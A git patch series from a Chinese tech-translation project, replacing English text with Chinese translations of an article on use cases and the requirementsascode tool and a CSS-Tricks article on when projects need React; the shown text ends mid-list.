+> – Robert C. Martin, [代码整洁之道](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
 
-But what does that mean?
+但这句话是什么意思呢？
 
-The [Agile Manifesto](http://agilemanifesto.org/) values “working software over comprehensive documentation.”
+[敏捷宣言](http://agilemanifesto.org/)中指出“可工作的软件胜过繁琐的文档。”
 
-Developers write comprehensive documentation of the software’s behavior all the time, though. The code.
+即便开发人员一直都在撰写繁琐的文档以描述软件的行为。代码也在做着相同的事。
 
-Code comments, and external specifications, document the software’s behavior as well. But they may not get updated when the code changes. Then they stop reflecting the software’s behavior soon.
+代码注释，外部规范也在记录软件的行为。但是当代码被修改时它们可能不会被同步的更新。然后它们很快就不再能反映代码的行为了。
 
-In contrast, code *always* reflects the software’s behavior. It defines it.
+另一方面，代码 *始终* 都能表达软件的行为。因为正是它定义了这些行为。
 
-That’s why the truth is in the code.
+这就是为什么说真相存在于代码中。
 
-### Writing for your readers ###
+### 为阅读你代码的人考虑 ###
 
-Code is documentation. Any kind of documentation should be understandable by its readers.
+代码是一种文档。任何文档都应该能被它的读者所理解。
 
-The readers of code are a compiler or interpreter, and other developers.
+代码的读者可能是一个编译器，解释器或是其他开发人员。
 
-So it is not enough if your code compiles. Other developers need to understand it as well. They need to work on your code in the future, change it and extend it.
+所以你的代码仅能编译通过是不够的。你还要保证其他开发人员能够读懂它。未来他们需要在你代码的基础上工作，修改它，扩展它。
 
-A common suggestion to make code understandable is that you write clean code. Code that uses understandable language for variable and method names. That also makes a lot of code comments unnecessary.
+一个关于使代码容易阅读的常见建议是编写整洁的代码。整洁的代码指的是使用易懂的语言命名变量和方法的代码。这也使得很多的代码注释变得不必要了。
 
-Clean code should express the intent: *what* somebody can achieve by calling a method. Not *how* the method achieves it.
+整洁的代码应该能表达意图：使用者通过调用该方法能 *做什么*。而不是 *如何做*。
 
-Guess what this method does:
+猜测一下这个方法是做什么的：
 
+```java
     BigDecimal addUp(List<BigDecimal> ns){..}
+```
 
-How about rather writing this:
+如果是这么写呢：
 
+```java
     BigDecimal calculateTotal(List<BigDecimal> individualPrice){..}
+```
 
-Clean code is a good idea. But I don’t think it is sufficient.
+整洁的代码是一个好主意。但我认为这还不够。
 
-### The importance of shared understanding ###
+### 知识共享的重要性 ###
 
-When there’s a new requirement, you need to understand how implementing it affects the existing code.
+当有一个新需求的时候，你需要评估实现该需求对现有代码的影响。
 
-That can be a challenge if your software has been around for some time. Quite often, I have heard a dialogue like this:
+如果你的软件已经存在了一段时间的话，这可能会是个挑战。我经常会听到这样的对话：
 
-*X*: We can’t go on with feature *foo*.
+*X*: 我们不能继续开发 *foo* 特性了。
 
-*Y*: Why?
+*Y*: 为什么？
 
-*X*: Cause *Z* is the only one who knows about the code. He has implemented the code that we need to change now.
+*X*: 因为 *Z* 是唯一了解这块代码的人。我们要改动的代码就是他开发的。
 
-*Y:* Well, why don’t we ask him?
+*Y:* 好吧，为什么不去问问他呢？
 
-*X*: Because he is sick / on vacation / at a conference / no longer at the company.
+*X*: 因为他病了 / 休假了 / 在开会 / 离职了。
 
-*Y*: Oh…
+*Y*: 额…
 
-Here’s the thing. To find out if your code is understandable, somebody else should try to understand it.
+事情就是这样。要想知道你的代码是否容易被理解，至少要有个人去尝试阅读它。
 
-There are techniques for that. [Pair programming](https://en.m.wikipedia.org/wiki/Pair_programming) is a good one. Or you sit down with other developers. You walk them through the code you have written.
+有这方面的技术。[结对编程](https://en.m.wikipedia.org/wiki/Pair_programming) 就是一个不错的选择。或者是和其他开发人员坐下来，一起过一遍你写的代码。
 
-Still, what if many developers are involved with a product? What if the development teams change their members? That makes it harder to write code that enough other people understand.
+然而，如果参与一个项目的开发人员太多呢？如果一个研发团队的成员变化了呢？这使得编写容易被其他人理解的代码变得更困难了。
 
-### The story ###
+### 故事 ###
 
-Clean code gives you the right *words*.
+整洁代码带给你正确的 *单词*。
 
-The question is: what *story* will you tell with them in your code?
+问题是：你在代码中使用它们讲述怎样的 *故事* 呢？
 
-I have no idea.
+我不知道。
 
-But for a typical business application, I am pretty sure what story I want to read in the code.
+但是对于一个典型的业务应用，我很清楚我希望在代码中读到怎样的故事。
 
-After introducing you to a brief example, I will outline that story.
+在介绍一个简单的例子之后，我会简要描述那个故事。
 
-### The glove shop example ###
+### 手套商店的例子 ###
 
-As a user of software, I want to [reach a desired outcome](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708). For example, I want to own a new pair of gloves to keep my fingers warm in winter.
+作为一个软件的用户，我想要 [到达期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
 
-So I go online and see there is a new online shop specialized in gloves. The shop’s website lets me buy gloves. The “basic flow” (also called “happy day scenario”) of the use case could look like this one:
+因此我上网寻找并发现了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被成为“愉快场景”）大概是这样的：
 
-- The system starts with an empty shopping cart.
-- The system displays a list of gloves.
-- I add the gloves I like to the shopping cart. The system adds the gloves to my order.
-- I check out.
-- I enter shipping information and payment details. The system saves this information.
-- The system displays a summary of the order.
-- I confirm. The system initiates shipping of my order.
+- 系统以一个空购物车开始。
+- 系统展示一个手套的列表。
+- 我添加喜欢的手套到购物车。系统将这些手套加入到我的订单中。
+- 我选择结账
+- 我输入配送信息和支付详情。系统保存这些信息。
+- 系统展示一份订单的详细信息。
+- 我确认信息。系统开始配送我的订单。
 
-After a few days, I get my gloves.
+几天以后，我收到手套。
 
-### Here’s the story I want to read in code. ###
+### 下面是我想在代码中读到的故事 ###
 
-### Chapter 1: Use cases ###
+### 第一章: 用例 ###
 
-The first chapter of the story is about use cases. When I read code, I want to follow a use case in the code step by step to the desired outcome.
+故事的第一章是关于用例的。当我阅读代码时，我希望在代码中按照某个用例一步一步的达到期望的结果。
 
-I want to understand how the system reacts when something goes wrong. From a user’s perspective.
+从一个用户的角度来看，我想弄明白当出现错误时系统是如何应对的。
 
-I also want to understand the possible turns along the way. The user tries to go back from the payment details to the shipping information, for example. What happens? Is that even possible?
+我还想搞清楚流程中可能的分之。例如，用户企图从支付详情页回到配送信息页时会发生什么？用户可以这样操作吗？
 
-I want to understand what code to look at for each part of a use case.
+我想知道每一个用例中的不同部分对应哪块代码。
 
-#### So what are the *parts* of a use case? ###
+#### 那么一个用例由哪些 *组件* 构成呢？###
 
-The fundamental part of a use case is a *step* that brings a user closer to a desired outcome. For example: “The system displays a list of gloves.”
+用例的基础组件是使用户离期望结果更进一步的 *步骤*。比如：“系统展示一个手套的列表。”
 
-Not all users may be able to run a step, but only members of certain user groups (the “*actors”*). End customers buy gloves. Marketing people enter new glove offers into the system.
+不是所有用户都可以执行某一步骤，只有特定用户组的成员（“*行为者*”）才可以这么做。例如，终端消费者买手套。销售人员向系统中添加新款手套的报价。
 
-The system runs some of the steps on its own. Like when it displays the gloves. No user interaction necessary there.
+某些步骤由系统主动执行。就好像在展示手套列表时一样。无需用户交互。
 
-Or a step is an interaction with the user. The system *reacts* to some *user event*. For example: The user enters shipping information. The system saves the information.
+有的步骤则是用户交互的结果。系统 *响应* 某些 *用户事件*。例如：用户输入配送信息。系统保存这些信息。
 
-I want to understand which *data* to expect with the event. Shipping information includes the user’s name, address etc.
+我想知道这些事件中包含哪些*数据*。配送信息包含用户的姓名，地址等等。
 
-The user can run only a subset of steps at any given time. The user can enter payment details only after shipping information. So there is a *flow* that defines the order of the steps in a use case. And a *condition* that defines if the system can react, depending on the system’s state.
+用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的*流程*。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的*条件*。
 
-#### To understand the code, you need an easy way to know several things. ###
+#### 要理解代码，你需要一个简单方法来了解几件事情。###
 
-For a use case (like “buy gloves”):
+对于一个用例（例如“买手套”）：
 
-- The *flow(s)* of *steps*
+- *步骤*的*流程*
 
-For each step:
+对于每个步骤：
 
-- Which *actors* have access to it (that is, which user groups)
-- Under which *condition* the system reacts
-- If the step is *autonomous*, or based on a *user interaction*
-- The *system* *reaction*
+- 哪些 *行为者* 有执行的权限（也就是哪个用户组）
+- 在哪些*条件*下，系统可以响应
+- 该步骤是*自发的*还是基于*用户交互*
+- *系统*的*响应*
 
-For each step that is a user interaction:
+对于每个基于用户交互的步骤：
 
-- The *user event* (like “user entered shipping information”)
-- The *data* that comes with the event
+- *用户事件*（例如“用户输入配送信息”）
+- 伴随事件而来的*数据*
 
-Once I know where to find a use case and its parts in the code, I can drill deeper.
+一旦我知道在哪里可以找到用例以及它的组件之后，我就可以深入研究了。
 
-### Chapter 2: Breaking things down into steps through components ###
+### 第二章: Breaking things down into steps through components ###
 
-Let’s call an encapsulated, replaceable building block of your software a *component.* A component’s *responsibilities* are available to the world outside the component.
+让我们把你软件中一个封装的，可替换的构建模块成为一个*组件*。一个组件的*职责*可以被该组件之外的世界访问到。
 
-A component could be:
+一个组件可能是：
 
-- a technical component like a database repository,
-- a service like “shopping cart service”,
-- an entity in your domain model.
+- 一个技术组件，比如数据仓库
+- 一个服务，比如“购物车服务”
+- 你的领域模型中的一个实体
 
-That depends on your software design. But no matter what your components are: you usually need several of them to realize one step of a use case.
+这取决于你的软件设计。但不论你的组件是什么：你通常都需要若干个组件配合来实现用例中的一个步骤。
 
-Let’s look at the *system reaction* of the step “The system displays a list of gloves”. You probably need to develop at least two *responsibilities*. One finds the gloves in the database, and one turns the list of gloves into a webpage.
+让我们来看看“系统展示一个手套的列表”这一步骤中的*系统响应*。你很可能需要开发至少两项*指责*。一个用来在数据库中查找手套，另一个用来把这些数据转变为一个页面。
 
-When reading code I want to understand the following things:
+当阅读代码时，我希望能了解以下这些内容：
 
-- What are a component’s *responsibilities.* For example: “find gloves” for the database repository.
-- What are the *inputs* / *outputs* of each responsibility. Example input: criteria for which gloves to find. Example output: list of gloves.
-- Who *coordinates* the responsibilities. For example: find gloves first. Turn result into a webpage second.
+- 一个组件的*职责*是什么。例如：对数据库来说是“查找手套”。
+- 每个职责的*输入* / *输出* 是什么。输入的例子：查找手套的规则。输出的例子：手套列表。
+- 谁来*协调*这些职责。例如：首先查找手套，然后将结果转换成一个网页。
 
-### Chapter 3: What components do ###
+### 第三章：组件做什么 ###
 
-A component’s code fulfills responsibilities.
+组件的代码用来实现它的职责。A component’s code fulfills responsibilities.
 
-That often happens in a *domain model*. The domain model uses terms relevant in the business domain.
+这通常出现在*领域模型*中。领域模型使用和业务领域相关的术语。
 
-For the example, a term could be Glove. Another term could be Order.
+举例来说，一个术语可以是手套。另一个可以是订单。
 
-The domain model describes the *data* for each term. Each Glove has a color, a brand, a size, a price and so on.
+领域模型用于描述每个术语的*数据*。每个手套都有颜色，品牌，尺码，价格等数据。
 
-The domain model also describes computations on the data. The total price of an Order is the sum of the prices of each Glove bought by the user.
+领域模型还用来描述基于这些数据的运算。一个订单的总价是该订单中用户购买的所有手套价格的总和。
 
-A component can also be a technical component like a database repository. The code needs to answer: How does the repository create, find, update and delete elements in the database?
+一个组件还可以是类似数据库这样的技术组件。该组件的代码就要解决如何在数据库中创建，查找，更新，删除数据的问题。
 
-### Telling your story ###
+### 讲述你的故事 ###
 
-Maybe your story looks similar to the one above. Maybe it’s different. Whatever your story is, programming languages give you great freedom to express yourself and tell that story.
+你的故事可能看起来和上面提到的故事很相似，也可能完全不同。不论你的故事是怎样的，编程语言都给了你极大的自由来表达你自己并讲述那个故事。
 
-That’s a good thing because it allows developers to adapt to different contexts and requirements.
+这是件好事情，因为它允许开发人员适应不同的上下文与需求。
 
-It also bears the risk that developers tell too many different stories. Even for the same product. That makes it harder than necessary to understand code that somebody else has written.
+这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险。使得理解其他人编写的代码变得更困难了。
 
-One way to address this is the use of design patterns. They allow you to structure your code. You can agree on that common structure in your team or even across teams.
+解决这个问题的一个方法是使用设计模式。它们可以帮你合理组织你的代码。你可以在团队中甚至是团队间就这种通用结构达成一致。
 
-For example, the Rails framework is based on the well-known Model View Controller pattern.
+例如：Rails框架就是基于众所周知的 模型 视图 控制器 模式的。
 
-The model is the place for *domaindata.*
+模型用于放置*领域数据*。
 
-The view is the client side user interface, like HTML pages. It is the origin of *userevents.*
+视图是客户端用户界面，比如HTML页面。这是*用户事件*的来源。
 
-The controller receives the user events on server side. It is responsible for *flow.*
+控制器在服务器端接用户事件。它负责*流程*。
 
-So if several developers use Rails, they know which part of the code to look at for certain parts of their story.
+因此，如果多个开发人员使用Rails，他们就知道在哪里能找到和故事中特定部分相关的代码。
 
-They could find out what is missing when sharing their understanding. Then, they could agree on further conventions on where to put which part of their story.
+他们可以在分享他们的理解时找出缺失的东西。然后，他们就可以进一步的就约定在哪里放置故事的模块达成一致。
 
-If that works for you, that is just fine. But I want to go further than that.
+如果这些适用于你，那就很好了。但我想比这更进一步。
 
-### Requirements as Code ###
+### 代码即需求 ###
 
-Many of my clients ask me how to deal with long term software documentation.
+我的很多客户问我如何处理长期的软件文档。
 
-When working in an agile context, how do you create documentation for software maintenance?
+在敏捷开发中，如何创建软件维护文档？
 
-What requirements have been implemented so far?
+到目前为止都实现了哪些需求？
 
-Where do you find their realization in the code?
+在哪里能找到它们在代码中的实现？
 
-For a long time I had no satisfying answer. Except, of course: the importance of well written, automated tests. Clean production code. Shared understanding.
+很久以来我都没有满意的答案。当然，除了良好编写的自动化测试，整洁的线上代码，以及共同认知的重要性之外。
 
-But a few years ago, I started thinking:
+但是在几年前，我开始思考：
 
-> If the truth is in the code, the code should be able to speak the truth.
+> 如果真相在代码中，那么代码也应该能讲述真相。
 
-In other words: if you took great care of telling your story in the code, why would you want to tell it again?
+换句话说：如果你非常小心的在代码中讲述你的故事，为何还要再说一遍呢？
 
-There needs to be a better way. It must be possible to extract the story, and generate documentation from it. Documentation that non-technical stakeholders understand as well.
+只需要一个更好的方法。它可以提取故事，并基于它生成文档。同时非技术相关方也能理解。
 
-Documentation that is always up-to-date, because it comes from the same source that defines the software’s behavior.
+始终保持最新状态的文档，因为它来自于定义软件行为的相同来源。
 
-The only reliable source: the code itself.
+唯一可靠的来源：代码自身。
 
-After a lot of experiments, I had some results. I made them public in a Github project called [requirementsascode](https://github.com/bertilmuth/requirementsascode).
+在许多次尝试之后，我有了一些成果。我把它们发布在一个名为[requirementsascode](https://github.com/bertilmuth/requirementsascode)的GitHub项目中。
 
-### How it works ###
+### 它是如何运行的 ###
 
 ![](https://cdn-images-1.medium.com/max/800/1*rZAA0h24T9SdEZYdE7stIQ@2x.png)
 
-- A UseCaseModel instance defines the *actors*, *use cases*, their *flows* and *steps*. It tells chapter 1 of the story. You find an example of such a model at the start of this article.
-- A use case model configures UseCaseModelRunner instances. Every user has her own runner, because every user may take a different path through the use cases in the model.
-- The runner reacts to a *user event* from the frontend by calling the *system reaction* in the backend.The frontend communicates to the backend only through the runner.
-- But the runner only reacts if the user is at the right position of the *flow* and the step’s *condition* is fulfilled. For example, the runner only reacts to the “EnterPaymentDetails“ event if the user has entered the shipping information right before.
-- The *systemreaction* is a single method. The method’s body is responsible for coordinating the components to realize the step, as described in chapter 2.
-- Chapter 3 is out of scope of requirementsascode. It is left up to the application. That makes requirementsascode compatible with arbitrary software designs.
+- UssCaseModel示例用与定义*行为者*，*用例*，它们的*流程*以及*步骤*。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。
+- 用例模型配置UseCaseModelRunner实例。每个用户都有自己的运行程序，因为每个用户选择执行的用例路径可能不同。
+- 运行程序通过调用后端的*系统响应*来响应前端的*用户事件*。前端只能通过运行程序和后端通信。
+- 但是运行程序只有当用户在*流程*中的正确位置且满足步骤的*条件*时才会响应用户。例如：运行程序只有在用户已经输入了配送信息之后才会响应“进入支付详情页”事件。
+- *system reaction*是一个单例方法。方法内部负责协调不同组件实现该步骤，就像在第二章中描述的那样。
+- 第三章已经超出了requirementsascode的范畴。它留给应用程序决定。这使得requirementsascode可以兼容任意的软件设计。
 
-So the UseCaseModelRunner controls the user visible behavior of the software. Based on a UseCaseModel.
+因此，基于UseCaseModel，UseCaseModelRunner控制了对用户可见的软件行为。
 
-With [requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract), you can generate documentation from the same use case model that configures the runner. That way, the documentation always reflects how the software works.
+通过[requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract)，你可以从同一个配置运行程序的用例模型中生成文档。这样，文档就可以始终反应软件的行为了。进一步的处理可以生成其它格式的文档，例如PDF。
 
-Requirementsascodeextract uses the FreeMarker template engine. That allows you to generate any plain text documentation you like. For example HTML pages. Further processing could turn it into other documentation formats, like PDF.
+Requirementsascodeextract使用了FreeMarker模板引擎。它允许你生成任何你喜欢的纯文本文档。例如HTML页面。未来还可以
 
-### Your feedback will help me improve this project ###
+### 你的反馈可以帮我改进这个项目 ###
 
-I started working on requirementsascode several years ago, but just recently made the project public. It has gone through significant improvement since the beginning.
+我从几年前就开始了requirementsascode这个项目，直到最近才将它公开。与最初相比，它已经得到了极大的改善。
 
-To learn whether the approach scales, I tried it on an application with several thousand lines of code. It worked. I tried it on smaller applications as well.
+为了了解这种方法是否具有可扩展性，我尝试在一个有数千行代码的项目中使用。被证明是有效的。我也在一些更加小型的应用中尝试过。
 
-Still, so far, requirementsascode has been my hobby project.
+到目前为止，requirementsascode一直都是我的业余项目。
 
-That’s why I need your help. Please give me feedback.
+这就是为什么我需要你们的帮助。请给我一些反馈。
 
-What do you think of the idea? Can you imagine that it works in the context of the software you develop? Any other feedback?
+你觉得这个想法怎么样？你能想象它在你的软件上下文中有效吗？还有其他的反馈意见吗？
 
-You can drop me a note in the comments or contact me on [Twitter](https://twitter.com/BertilMuth) or [LinkedIn](https://www.linkedin.com/in/bertilmuth).
+你可以在评论区给我留言或是在[Twitter](https://twitter.com/BertilMuth) 或 [LinkedIn](https://www.linkedin.com/in/bertilmuth)和我联系。
 
-You can [clone](https://github.com/bertilmuth/requirementsascode) the project and try it out yourself.
+你可以[克隆](https://github.com/bertilmuth/requirementsascode)这个项目并亲自尝试一下。
 
-Or you can [contribute](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md) to documenting the truth in the code.
+也可以{帮助](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md)在代码中记录真相。
 
 ---
 

From 3fc43dc6378a861a52e58aacb95185ba5c73ece0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Wed, 3 May 2017 18:00:55 +0800
Subject: [PATCH 319/638] =?UTF-8?q?2017.5.3=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/project-need-react.md | 164 ++++++-------------------------------
 1 file changed, 27 insertions(+), 137 deletions(-)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index f451a421379..5f009909d26 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -1,239 +1,129 @@
 > * 原文地址：[When Does a Project Need React?](https://css-tricks.com/project-need-react/)
 > * 原文作者：[CHRIS COYIER](https://css-tricks.com/author/chriscoyier/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
-
-# When Does a Project Need React? #
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[Guangyuan (Charlie) Yang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)
 
 # 项目什么时候需要 React 框架呢？ #
 
-You know when a project needs HTML and CSS, because it's all of them. When you reach for JavaScript is fairly clear: when you need interactivity or some functionality that only JavaScript can provide. It used to be fairly clear when we reached for libraries. We reached for jQuery to help us simplify working with the DOM, Ajax, and handle cross-browser issues with JavaScript. We reached for underscore to give us helper functions that the JavaScript alone didn't have.
-
-你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 无法单独提供的函数式编程。
-
-As the need for these libraries fades, and we see a massive rise in new frameworks, I'd argue it's not as clear **when to reach for them**. At what point do we need React?
+你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 没有的帮助函数（ helper functions ）。
 
-但是随着对这些代码库的需求逐渐消失，我们看到很多新兴的框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？
-
-I'm just going to use React as a placeholder here for kinda large JavaScript framework thingies. Vue, Ember, Svelte... whatever. I understand they aren't all the same, but when to reach for them I find equally nebulous.
+但是随着对这些代码库的需求逐渐消失，我们看到很多新兴框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？
 
 在众多的 JavaScript 框架中 —— Vue、Ember、Svelte ... 不管哪一个，我想以 React 框架为例子来探讨它适合什么项目。我明白这些框架并不完全相同，但是使用它们的时机应该是有一些共性的。
 
-Here's my take.
-
-这是我的做法。
-
-### ✅ Because there is lots of state. ###
+这是我的建议。
 
 ### ✅ 当项目中有大量的状态的时候 ###
 
-Even "state" is a bit of a nebulous word. Imagine things like this:
 
 即便“状态（state）”这个词也无法完全准确的表达我的意思。想象一下这些情况：
 
-- Which navigation item is active
 - 导航栏的哪个栏目正处于激活状态
-- Whether a button is disabled or not
 - 一个按钮是否被禁用
-- The value of an input
 - 输入框的值
-- Which accordion sections are expanded
 - 哪一个下拉框是弹出的状态
-- When an area is loading
 - 何时加载某个区域
-- The user that is logged in and the team they belong to
 - 登陆的用户如何进行权限控制
-- Whether the thing the user is working on is published, or a draft
 - 用户编写的文章是已发布状态还是草稿状态
 
-"Business logic"-type stuff that we regularly deal with. State can also be straight up content:
 
-“业务逻辑” - 我们经常处理的这类东西。状态也可能和内容直接相关：
+“业务逻辑” —— 我们经常处理的这类东西。状态也可能和内容直接相关：
 
-- All the comments on an article and the bits and bobs that make them up
 - 一篇文章中所有的评论，以及零零碎碎的组成它们的东西。
-- The currently viewed article and all its metadata
 - 当前正在查看的文章，以及该文章的一些属性
-- An array of related articles and the metadata for those
 - 一系列相关的文章，以及这些文章的属性
-- A list of authors
 - 一份作者列表
-- An an activity log of recent actions a user has taken
 - 一份记录用户近期操作的活动日志
 
-React doesn't help you *organize* that state, it just says: I know you need to *deal* with state, so let's just *call* it state and have programmatic ways to set and get that state.
-
 React 框架并没有帮助你**组织**这些状态，它只是说：我知道你需要处理状态的问题，所以我们不如把它设为 state 属性，通过编程的方式进行读写。
 
-Before React, we might have *thought* in terms of state, but, for the most part, didn't manage it as a direct concept.
 
 在有 React 框架之前，我们也许**考虑过**状态的定义，但是大部分时候并没有把它当作一个直接的概念去管理。
 
-Perhaps you've heard the phrase "single source of truth"? A lot of times we treated the DOM as our single source of truth. For example, say you need to know if a form on your website is able to be submitted. Maybe you'd check to see if `$(".form input[type='submit']).is(":disabled")` because all your business logic that dealt with whether or not the form could be submitted or not ultimately changed the disabled attribute of that button. So the button became this defacto source of truth for the state of your app. 
 
 也许你听说过这个短语“单一数据源”？很多时候我们把 DOM 作为我们的单一数据源。比如说，你需要知道是否可以提交某个表单了。也许你会用 `$(".form input[type='submit']).is(":disabled")` 去检查一下，因为所有影响表单是否可提交的业务逻辑最终都会改变按钮的 disable 属性。所以按钮变成了你的 app 事实上的数据源。
 
-Or say you needed to figure of the name of the first comment author on an article. Maybe you'd write `$(".comments > ul > li:first > h3.comment-author).text()` because the DOM is the only place that knows that information.
 
 或者说，你需要知道某篇文章的第一个评论者的名字，也许你会这样写 `$(".comments > ul > li:first > h3.comment-author).text()`，因为 DOM 是你唯一可以获得这些信息的地方。
 
-React kinda tells us: 
 
 React 框架这样告诉我们：
 
-1. Let's start thinking about all that stuff as state. 
-    
-    我们把这些所有的东西都想像成状态（state）。
-
-2. I'll do ya one better: state is a chunk of JSON, so it's easy to work with and probably works nicely with your back end.
-
-    我会为你做好一件事：把状态转换为一串 JSON 字符串，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。
+1. 我们把这些所有的东西都想像成状态（state）。
 
-3. And one more even better: You build your HTML using bits of that state, and you won't have to deal with the DOM directly at all, I'll handle all that for you (and likely do a better/faster job than you would have.)
+2. 我会为你做好一件事：把状态转换为一串 JSON 对象，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。
 
-    另外还有一个更好的地方是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
-
-### ✅ To Fight Spaghetti. ###
+3. 更棒的是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
 
 ### ✅ 对抗面条式代码 （Spaghetti）###
 
-This is highly related to the state stuff we were just talking about. 
-
-这和我们刚才讨论过的状态非常有关系。
-
-"Spaghetti" code is when code organization and structure has gotten away from you. Imagine, again, a form on your site. It has some business logic stuff that specifically deals with the inputs inside of it. Perhaps there is a number input that, when changed, display the result of some calculation beside it. The form can also be submitted and needs to be validated, so perhaps that code is in a validation library elsewhere. Perhaps you disable the form until you're sure all JavaScript has loaded elsewhere, and that logic is elsewhere. Perhaps when the form is submitted, you get data back and that needs logic and handling. Nothing terribly surprising here, but you can see how this can get confusing quickly. How does a new dev on the project, looking at that form, reason out everything that is going on?
+这和我们刚才讨论过的状态有非常大的关系。
 
 “面条式”代码，指的是代码的组织结构已经脱离你的掌控。再想象一下，假设有这么一个表单，它有一些专门处理表单内输入框的业务逻辑。该表单内有这么一个数字输入框，当这个输入框的值改变的时候，在旁边显示根据该值进行某些计算后的结果。这个表单可以被提交至服务端，因此也需要合法性检查，而也许合法性检查的代码位于其他地方的验证库中。也许在确定某处的 JavaScript 代码全部加载完之前，你还需要禁用此表单，而这个逻辑也在别的地方。也许当表单提交后，你还需要处理一些返回值。没有什么特别让人意外的功能，但是凑在一起就很容易让人蒙圈。如果这个项目由一个新的开发人员接手后，当他看到这个表单时他如何能捋清这些逻辑呢？
 
-React encourages the use of building things into modules. So this form would likely either be a module of its own or comprised of other smaller modules. Each of them would handle the logic that is directly relevant to it. 
-
 React 框架鼓励把东西打包成组件。所以这个表单要么自己是一个组件，要么由其他的小组件组成。每一个组件只处理与自己直接相关的逻辑。
 
-React says: *well, you aren't going to be watching the DOM directly for changes and stuff, because the DOM is mine and you don't get to work with it directly*. Why don't you start thinking of these things as part of the state, change state when you need to, and I'll deal with the rest, rerendering what needs to be rerendered.
-
 React 框架说：**嗯，你不会直接看到 DOM 的变化，因为 DOM 是我的，你无法直接操作它**。为什么你不把这些东西想象成状态的一部分，当需要的时候就改变状态（state）。我会处理其他的事情，重新渲染需要被渲染的界面。
 
-It should be said that React itself doesn't entirely solve spaghetti. You can still have state in all kinds of weird places, name things badly, and connect things in weird ways. 
-
 应该说，只有 React 框架还不足以解决面条式代码。因为状态也可能出现在各个奇怪的地方，或者状态起的名字很糟糕，或者用莫名其妙的方式调用。
 
-In my limited experience, it's Redux that is the thing that really kills spaghetti. Redux says: I'll handle *all* the important state, totally globally, not module-by-module. I am the absolute source of truth. If you need to change state, there is quite a *ceremony* involved (I've heard it called that, and I like it.) There are reducers and dispatched actions and such. All changes follow the ceremony.
-
-在我有限的经验内，Redux 框架才能真正解决面条式代码的问题。Redux 框架说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。
-
-If you go the Redux road (and there are variations of it, of course), you end up with really solid code. It's much harder to break things and there are clear trails to follow for how everything is wired together.
+以我有限的经验来看，Redux 库才能真正解决面条式代码的问题。Redux 说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。
 
-如果你准备在项目中加入 Redux（当然也需要一点微小的改变），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。
+如果你准备在项目中加入 Redux（或者 Redux 的变种），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。
 
-### ✅ Lots of DOM management. ###
-
-### ✅ 要控制大量的DOM ###
-
-Manually handling the DOM is probably the biggest cause of spaghetti code.
+### ✅ 要管理大量的DOM ###
 
 手动处理 DOM 可能是引起面条式代码的最大原因。
 
-1. Inject HTML over here!
-
-    在这里插入一段 HTML ！
-    
-2. Rip something out over here!
-
-    在这里把某些东西扔出去！
-    
-3. Watch this area for this event!
-
-    监听特定区域的特定事件（event）！
-    
-4. Bind a new event over here!
+1. 在这里插入一段 HTML ！
 
-    在这里绑定一个新事件！
+2. 在这里把某些东西扔出去！
 
